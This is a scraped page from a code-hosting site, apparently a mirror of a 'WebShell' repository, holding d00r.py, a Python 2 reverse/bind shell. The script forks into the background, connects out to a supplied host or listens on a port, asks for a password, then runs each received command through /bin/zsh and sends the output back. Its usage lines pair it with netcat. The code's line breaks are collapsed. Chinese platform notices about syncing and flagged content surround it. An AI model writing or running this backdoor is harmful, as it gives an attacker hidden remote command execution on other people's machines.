同步操作将从 Handsome/WebShell 强制同步,此操作会覆盖自 Fork 仓库以来所做的任何修改,且无法恢复!!!
确定后同步将在后台操作,完成时将刷新页面,请耐心等待。
#!/usr/bin/env python# # # # # # # # # # # # # # # # # # # # # # # # # # # # ## d00r.py 0.3a (reverse|bind)-shell in python by fQ ## ## alpha ## ## ## usage: ## % ./d00r -b password port ## % ./d00r -r password port host ## % nc host port ## % nc -l -p port (please use netcat) ## # # # # # # # # # # # # # # # # # # # # # # # # # # # #import os, sys, socket, time# =================== var =======MAX_LEN=1024SHELL="/bin/zsh -c"TIME_OUT=300 #sPW=""PORT=""HOST=""# =================== funct =====# shell - exec command, return stdout, stderr; improvabledef shell(cmd):sh_out=os.popen(SHELL+" "+cmd).readlines()nsh_out=""for i in range(len(sh_out)):nsh_out+=sh_out[i]return nsh_out# action?def action(conn):conn.send("\nPass?\n")try: pw_in=conn.recv(len(PW))except: print "timeout"else:if pw_in == PW:conn.send("j00 are on air!\n")while True:conn.send(">>> ")try:pcmd=conn.recv(MAX_LEN)except:print "timeout"return Trueelse:#print "pcmd:",pcmdcmd=""#pcmdfor i in range(len(pcmd)-1):cmd+=pcmd[i]if cmd==":dc":return Trueelif cmd==":sd":return Falseelse:if len(cmd)>0:out=shell(cmd)conn.send(out)# =================== main ======argv=sys.argvif len(argv)<4:print "error; help: head -n 16 d00r.py"sys.exit(1)elif argv[1]=="-b":PW=argv[2]PORT=argv[3]elif argv[1]=="-r" and len(argv)>4:PW=argv[2]PORT=argv[3]HOST=argv[4]else: exit(1)PORT=int(PORT)print "PW:",PW,"PORT:",PORT,"HOST:",HOST#sys.argv[0]="d00r"# exit father procif os.fork()!=0:sys.exit(0)# associate the socketsock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(TIME_OUT)if argv[1]=="-b":sock.bind(('localhost', PORT))sock.listen(0)run=Truewhile run:if argv[1]=="-r":try: sock.connect( (HOST, PORT) )except:print "host unreachable"time.sleep(5)else: run=action(sock)else:try: (conn,addr)=sock.accept()except:print "timeout"time.sleep(1)else: run=action(conn)# shutdown the sokcetif argv[1]=="-b": conn.shutdown(2)else:try: sock.send("")except: time.sleep(1)else: sock.shutdown(2)
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。